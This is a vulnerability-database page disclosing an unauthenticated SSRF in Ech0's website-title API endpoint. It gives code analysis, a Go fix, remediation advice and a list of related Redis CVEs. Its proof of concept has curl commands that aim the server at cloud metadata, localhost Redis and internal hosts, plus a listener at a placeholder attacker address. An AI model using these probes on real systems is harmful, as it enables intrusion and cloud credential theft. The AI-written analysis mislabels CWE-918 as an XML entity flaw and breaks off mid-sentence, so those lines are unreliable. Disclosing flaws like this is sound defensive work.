Redis
CVE-2026-35037
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.
Details
The vulnerability exists in the interaction between four components:
1. Route registration - no authentication (internal/router/common.go:11):
appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).
2. Handler - no input validation (internal/handler/common/common.go:106-127):
func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
var dto commonModel.GetWebsiteTitleDto
if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
...
})
}The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required" - no URL scheme or host validation.
3. Service - TrimURL is cosmetic (internal/service/common/common.go:122-125):
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
websiteURL = httpUtil.TrimURL(websiteURL)
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
...
}TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.
4. HTTP client - unrestricted outbound request (internal/util/http/http.go:53-84):
client := &http.Client{
Timeout: clientTimeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.
The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.
PoC
Step 1: Probe cloud metadata endpoint (AWS)
curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.
Step 2: Probe internal localhost services
curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.
Step 3: Exfiltrate data from internal web services with HTML title tags
curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.
Step 4: Confirm with a controlled external server
# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type','text/html')
self.end_headers()
self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &
# From any client:
curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'Expected response contains "data":"SSRF-CONFIRMED", proving the server made an outbound request to the attacker-controlled URL.
Impact
- Cloud credential theft: An attacker can reach cloud metadata services (AWS IMDSv1 at
169.254.169.254, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.
- Localhost service interaction: Access to services bound to
127.0.0.1(databases, caches, admin panels) that rely on network-level isolation for security. - Firewall bypass: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.
- Data exfiltration: Partial response content is leaked through the
<title>tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.
The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.
Recommended Fix
Add URL validation in GetWebsiteTitle to block requests to private/reserved IP ranges and restrict allowed schemes. In internal/service/common/common.go:
import (
"net"
"net/url"
)
func isPrivateIP(ip net.IP) bool {
privateRanges := []string{
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
"::1/128",
"fc00::/7",
"fe80::/10",
}
for _, cidr := range privateRanges {
_, network, _ := net.ParseCIDR(cidr)
if network.Contains(ip) {
return true
}
}
return false
}
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
websiteURL = httpUtil.TrimURL(websiteURL)
// Validate URL scheme
parsed, err := url.Parse(websiteURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
return "", errors.New("only http and https URLs are allowed")
}
// Resolve hostname and block private IPs
host := parsed.Hostname()
ips, err := net.LookupIP(host)
if err != nil {
return "", fmt.Errorf("failed to resolve hostname: %w", err)
}
for _, ip := range ips {
if isPrivateIP(ip) {
return "", errors.New("requests to private/internal addresses are not allowed")
}
}
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
// ... rest unchanged
}Additionally, consider:
- Removing
InsecureSkipVerify: truefromSendRequestininternal/util/http/http.go:69 - Disabling redirect following in the HTTP client (
CheckRedirectreturninghttp.ErrUseLastResponse) or re-validating the target IP after each redirect to prevent DNS rebinding - Adding rate limiting to this endpoint
AnalysisAI
Unauthenticated Server-Side Request Forgery (SSRF) in Ech0's /api/website/title endpoint allows remote attackers to access internal network services, cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254), and localhost-bound resources without authentication. The vulnerability accepts arbitrary URLs via the website_url parameter with zero validation, enabling attackers to probe internal infrastructure and exfiltrate partial response data through HTML title tag extraction. CVSS 7.2 reflects the
Technical ContextAI
This vulnerability stems from improper restriction of XML external entity reference (classified as CWE-918: Server-Side Request Forgery). The affected component is a Go-based web application (github.com/lin-snow/Ech0) that implements a public API endpoint for extracting website titles. The vulnerable code path spans four layers: route registration without authentication middleware (PublicRouterGroup in internal/router/common.go), handler accepting unvalidated URL input (commonModel.GetWebsiteTitleDto with only required binding), service layer performing cosmetic TrimURL sanitization that only removes whitespace and slashes, and HTTP client configured with InsecureSkipVerify TLS settings making unrestricted outbound requests. The Go http.Client defaults to following redirects and has no transport-level controls blocking RFC 1918 private address spaces, link-local addresses (169.254.0.0/16 for cloud metadata), or localhost (127.0.0.0/8). The response parsing extracts HTML title elements, creating a limited but functional data exfiltration channel. Unlike typical SSRF vulnerabilities that only reveal connection success/failure through timing or error messages, this implementation actively returns parsed content from internal resources.
RemediationAI
Vendor-released patch is available per GitHub security advisory GHSA-cqgf-f4x7-g6wc at https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc (exact patched version not specified in provided data; consult advisory for release details). Primary remediation requires upgrading to the patched version that implements URL validation blocking private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, IPv6 equivalents) and restricts schemes to http/https only. The vendor's recommended fix includes DNS resolution of target hostnames with IP range validation, preventing both direct IP access and DNS rebinding attacks. Organizations unable to immediately patch should implement network-level controls: (1) deploy web application firewall rules blocking requests with website_url parameters pointing to RFC 1918 or link-local addresses, (2) configure egress filtering on the Ech0 server to block outbound connections to 169.254.169.254 and internal IP ranges, (3) disable IMDSv1 on cloud instances and enforce IMDSv2 with token requirements (AWS-specific mitigation), (4) apply authentication middleware to the /api/website/title endpoint as an emergency compensating control. Long-term hardening should disable TLS verification bypass (InsecureSkipVerify: true) in the HTTP client and implement redirect validation to prevent DNS rebinding exploitation.
LiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (possibly to root), as exploited in the wild i
UAF in Redis 8.2.1 via crafted Lua scripts by authenticated users. EPSS 12.4%. Patch available.
It was discovered, that redis, a persistent key-value database, due to a packaging issue, is prone to a (Debian-specific
Memory Corruption was discovered in the cmsgpack library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10,
Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user
Redis before 2.8.21 and 3.x before 3.0.2 allows remote attackers to execute arbitrary Lua bytecode via the eval command.
A buffer overflow in Redis 3.2.x prior to 3.2.4 causes arbitrary code execution when a crafted command is sent. Rated cr
Code injection in OneUptime monitoring via custom JS monitor using vm module. PoC and patch available.
In applications using jfinal 4.9.08 and below, there is a deserialization vulnerability when using redis,may be vulnerab
An issue was found in Apache Airflow versions 1.10.10 and below. Rated critical severity (CVSS 9.8), this vulnerability
An Integer Overflow issue was discovered in the struct library in the Lua subsystem in Redis before 3.2.12, 4.x before 4
goanother Another Redis Desktop Manager =<1.6.1 is vulnerable to Cross Site Scripting (XSS) via src/components/Setting.v
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-cqgf-f4x7-g6wc